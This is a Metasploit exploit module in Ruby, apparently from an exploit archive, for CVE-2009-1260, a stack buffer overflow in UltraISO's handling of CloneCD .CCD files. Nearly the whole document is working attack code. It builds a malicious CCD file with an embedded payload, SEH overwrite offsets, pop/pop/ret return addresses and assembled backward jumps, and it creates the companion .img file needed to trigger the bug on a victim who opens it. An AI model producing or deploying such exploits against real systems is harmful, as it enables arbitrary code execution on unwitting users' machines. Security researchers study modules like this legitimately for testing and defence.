UltraISO CCD File Parsing Buffer Overflow

`##  
# $Id: ultraiso_ccd.rb 8900 2010-03-24 19:35:29Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'UltraISO CCD File Parsing Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in EZB Systems, Inc's  
UltraISO. When processing .CCD files, data is read from file into a  
fixed-size stack buffer. Since no bounds checking is done, a buffer overflow  
can occur. Attackers can execute arbitrary code by convincing their victim  
to open an CCD file.  
  
NOTE: A file with the same base name, but the extension of "img" must also  
exist. Opening either file will trigger the vulnerability, but the files must  
both exist.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'jduck' ],  
'Version' => '$Revision: 8900 $',  
'References' =>  
[  
[ 'CVE', '2009-1260' ],  
[ 'OSVDB', '53275' ],  
[ 'BID', '34363' ],  
# NOTE: The following BID is a duplicate of BID 34363  
[ 'BID', '38613' ],  
# NOTE: The following OSVDB entry seems invalid, the IMG file doesn't appear to trigger any vulnerability.  
# [ 'OS-VDB', '53425' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/8343' ]  
],  
'Payload' =>  
{  
'Space' => 2048,  
'BadChars' => "\x00\x08\x0a\x0d\x20",  
'DisableNops' => true,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Tested OK on:  
# v9.3.3.2685  
# v9.3.6.2750  
  
# The EXE base addr contains a bad char (nul). This prevents us from  
# using the super-elite multi-offset SEH exploitation method.  
  
[ 'Windows Universal - Double-Click/Command Line Open Method',  
{  
'Offset' => 4094,  
# NOTE: lame_enc.dll isn't loaded when opening via double-click / cmd line.  
#'Ret' => 0x10011640 # p/p/r in lame_enc.dll  
# To make matters even worse, we can't use system dlls due to Safe SEH!  
#'Ret' => 0x71b26b7e # p/p/r in mpr.dll  
'Ret' => 0x00403856 # p/p/r in unpacked UltraISO.exe (from public exploit)  
}  
],  
[ 'Windows Universal - File->Open + Toolbar Open Methods',  
{  
'Offset' => [ 5066, 5158 ],  
'Ret' => 0x10011640 # p/p/r in lame_enc.dll  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Apr 03 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ccd']),  
], self.class)  
end  
  
def exploit  
  
print_status("Creating '#{datastore['FILENAME']}' using target '#{target.name}' ...")  
  
sploit = "[CloneCD]\r\n"  
sploit << "Version=3\r\n"  
  
sploit << "[Disc]\r\n"  
sploit << "TocEntries=4\r\n"  
sploit << "Sessions=1\r\n"  
sploit << "DataTracksScrambled=0\r\n"  
sploit << "CDTextLength=0\r\n"  
  
sploit << "[Session 1]\r\n"  
sploit << "PreGapMode=1\r\n"  
sploit << "PreGapSubC=0\r\n"  
sploit << "[Entry 0]\r\n"  
sploit << "Session=1\r\n"  
sploit << "Point=0xa0\r\n"  
sploit << "ADR=0x01\r\n"  
sploit << "Control=0x04\r\n"  
sploit << "TrackNo=0\r\n"  
sploit << "AMin=0\r\n"  
sploit << "ASec=0\r\n"  
sploit << "AFrame=0\r\n"  
sploit << "ALBA=-150\r\n"  
sploit << "Zero=0\r\n"  
sploit << "PMin=1\r\n"  
sploit << "PSec=0\r\n"  
sploit << "PFrame=0\r\n"  
sploit << "PLBA=4350\r\n"  
  
sploit << "[Entry 1]\r\n"  
sploit << "Session=1\r\n"  
sploit << "Point=0xa1\r\n"  
sploit << "ADR=0x01\r\n"  
sploit << "Control=0x04\r\n"  
sploit << "TrackNo=0\r\n"  
sploit << "AMin=0\r\n"  
sploit << "ASec=0\r\n"  
sploit << "AFrame=0\r\n"  
sploit << "ALBA=-150\r\n"  
sploit << "Zero=0\r\n"  
sploit << "PMin=1\r\n"  
sploit << "PSec=0\r\n"  
sploit << "PFrame=0\r\n"  
sploit << "PLBA=4350\r\n"  
  
sploit << "[Entry 2]\r\n"  
sploit << "Session=1\r\n"  
sploit << "Point=0xa2\r\n"  
sploit << "ADR=0x01\r\n"  
sploit << "Control=0x04\r\n"  
sploit << "TrackNo=0\r\n"  
sploit << "AMin=0\r\n"  
sploit << "ASec=0\r\n"  
sploit << "AFrame=0\r\n"  
sploit << "ALBA=-150\r\n"  
sploit << "Zero=0\r\n"  
sploit << "PMin=0\r\n"  
sploit << "PSec=2\r\n"  
sploit << "PFrame=34\r\n"  
sploit << "PLBA=34\r\n"  
  
sploit << "[Entry 3]\r\n"  
sploit << "Session=1\r\n"  
sploit << "Point=0x01\r\n"  
sploit << "ADR=0x01\r\n"  
sploit << "Control=0x04\r\n"  
sploit << "TrackNo=0\r\n"  
sploit << "AMin=0\r\n"  
sploit << "ASec=0\r\n"  
sploit << "AFrame=0\r\n"  
sploit << "ALBA=-150\r\n"  
sploit << "Zero=0\r\n"  
sploit << "PMin=0\r\n"  
sploit << "PSec=2\r\n"  
sploit << "PFrame=0\r\n"  
sploit << "PLBA=0\r\n"  
  
sploit << "[TRACK 1]\r\n"  
sploit << "MODE=1\r\n"  
sploit << "INDEX 1="  
  
idx_line = ''  
idx_line << rand_text_alphanumeric(1000) * 9  
  
# Stick the payload at the beginning  
idx_line[0,payload.encoded.length] = payload.encoded  
  
# If we have an array of offets, handle it specially  
seh_offset = target['Offset']  
if (seh_offset.is_a?(::Array))  
# Multiple offets that can be used simultaneously  
seh_offset.each { |off|  
seh = generate_seh_record(target.ret)  
distance = off + seh.length  
jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string  
  
idx_line[off, seh.length] = seh  
idx_line[off+seh.length, jmp.length] = jmp  
}  
else  
off = seh_offset  
# We'll manually construct this double-backward jumping SEH handler frame  
distance = off - 5  
jmp1 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string  
distance = jmp1.length  
jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string  
seh = ''  
seh << jmp2  
seh << rand_text(2)  
seh << [target.ret].pack('V')  
# we can't put anything below the return address due to a potential nul byte in it  
  
# Add the double-back-jumping SEH frame  
idx_line[off-5, jmp1.length] = jmp1  
idx_line[off,seh.length] = seh  
end  
  
sploit << idx_line  
  
file_create(sploit)  
  
# create the empty IMG file  
imgfn = datastore['FILENAME'].dup  
imgfn.gsub!(/\.ccd$/, '.img')  
out = File.expand_path(File.join(datastore['OUTPUTPATH'], imgfn))  
File.new(out,"wb").close  
print_status("Created empty output file #{out}")  
  
end  
  
end  
`